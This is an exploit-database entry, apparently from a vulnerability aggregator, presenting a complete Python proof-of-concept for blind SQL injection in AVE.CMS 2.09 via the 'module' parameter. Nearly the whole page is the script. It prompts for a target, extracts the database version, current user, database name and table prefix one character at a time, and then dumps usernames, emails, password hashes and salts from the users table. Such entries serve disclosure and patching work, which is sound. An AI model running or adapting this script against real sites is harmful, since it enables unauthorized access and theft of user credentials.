Lucene search
K

AVE.CMS <= 2.09 (index.php, module param) - Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

AVE.CMS <= 2.09 - Remote Blind SQL Injection Exploit. Exploit targeting AVE.CMS version 2.09 and 2.09RC2, with a vulnerable "module" parameter. The exploit allows for Blind SQL Injection, potentially leading to unauthorized access and data leakage

Code

                                                #!/usr/bin/env python

import urllib, sys, time

#######################################################################################
# Exploit Title: AVE.CMS &#60;= 2.09 - Remote Blind SQL Injection Exploit
# Date: 23/05/2013
# Author: mr.pr0n (@_pr0n_)
# Homepage: http://ghostinthelab.wordpress.com/
# Vendor Homepage: http://www.overdoze.ru/
# Software Link: websvn.avecms.ru/listing.php?repname=AVE.cms+2.09
# Version: V2.09 and 2.09RC2
# Tested on: Linux Debian 2.6.32-5-686
# Description: The &#34;module&#34; parameter is vulnerable to Blind SQL Injection.
# Solution : Update to newest version.
#######################################################################################

print &#34;+----------------------------------------------------------+&#34;
print &#34;|    AVE.CMS &#60;= 2.09 - Remote Blind SQL Injection Exploit  |&#34;
print &#34;|            mr.pr0n - http://ghostinthelab.wordpress.com  |&#34;
print &#34;+----------------------------------------------------------+&#34;

## 
GREEN 	= &#39;\033[32m&#39;
RESET 	= &#39;\033[0;0m&#39;
##

########
true 	    = &#34;404&#34;
min 	    = 32
max 	    = 127
num_of_ltr  = 50
########

url 	= raw_input(&#34;\nEnter the address of the target AVE.CMS\n&#62; &#34;)
if url[:7] != &#34;http://&#34;:
  url = &#34;http://&#34; + url + &#34;/index.php?module=&#34;
else:
  url = url + &#34;/index.php?module=&#34;

database = []
options = {&#39;Version&#39;:&#39;VERSION&#39;, &#39;User&#39;:&#39;CURRENT_USER&#39;, &#39;Database&#39;:&#39;DATABASE&#39;}
sys.stdout.write(&#34;[+] Checking target... (please wait)...&#34;)
for element in options:
  sys.stdout.write(&#34;\n  [!] Database &#34;+element+&#34;	: &#34;)
  for letter in range(1, num_of_ltr):
    for i in range(min, max):
      query = &#34;-1%00&#39; OR ORD(MID((&#34;+options[element]+&#34;()),&#34;+str(letter)+&#34;,1))&#62;&#34;+str(i)+&#34;#&#34;
      target = url + query
      result = urllib.urlopen(target).read()
      if result.find(true) != -1:
	if options[element] == &#34;DATABASE&#34;:
	  database.append(chr(i))
	sys.stdout.write(GREEN+chr(i)+RESET)
	sys.stdout.flush()
	break
	time.sleep(1)
database = [i for i in database if i != &#39; &#39;]
database = &#39;&#39;.join(database)
hexdatabase = database.encode(&#34;hex&#34;)

prefix = []
sys.stdout.write(&#34;\n[+] Checking for (random) Table Prefix... (please wait)... &#34;)
sys.stdout.write(&#34;\n  [!] Table Prefix (for &#39;&#34;+GREEN+database+RESET+&#34;&#39; database) : &#34;)
for letter in range(1, num_of_ltr):
  for letter2 in range(1, 7):
    for i in range(min, max):
      query = &#34;-1%00&#39; OR ORD(MID((SELECT CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x&#34;+hexdatabase+&#34; LIMIT &#34;+str(letter)+&#34;,1),&#34;+str(letter2)+&#34;,1))&#62;&#34;+str(i)+&#34;#&#34;
      target = url + query
      result = urllib.urlopen(target).read()
      if result.find(true) != -1:
	prefix.append(chr(i))
	sys.stdout.write(GREEN+chr(i)+RESET)
	sys.stdout.flush()
	break
	time.sleep(1)
  break
prefix = [i for i in prefix if i != &#39; &#39;]
prefix = &#39;&#39;.join(prefix)

columns = {&#39;Password&#39;:&#39;password&#39;,&#39;Email&#39;:&#39;email&#39;,&#39;Username&#39;:&#39;user_name&#39;,&#39;Salt&#39;:&#39;salt&#39;}
sys.stdout.write(&#34;\n[+] Dumping &#39;&#34;+GREEN+prefix+&#34;users&#34;+RESET+&#34;&#39; table... (please wait)...&#34;)
for element in columns:
    sys.stdout.write(&#34;\n  [!] Column : &#34;+element+&#34;	: &#34;)
    for letter in range(1, num_of_ltr):
      for i in range(min, max):
	query = &#34;-1%00&#39; OR ORD(MID((SELECT CONCAT(&#34;+columns[element]+&#34;) FROM &#34;+database+&#34;.&#34;+prefix+&#34;users ORDER BY Id LIMIT 0,1),&#34;+str(letter)+&#34;,1))&#62;&#34;+str(i)+&#34;#&#34;
	target = url + query
	result = urllib.urlopen(target).read()
	if result.find(true) != -1:
	  sys.stdout.write(GREEN+chr(i)+RESET)
	  sys.stdout.flush()
	  break
	  time.sleep(1)

sys.stdout.write(&#34;\n[+] End of POC...\n&#34;)
#eof
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation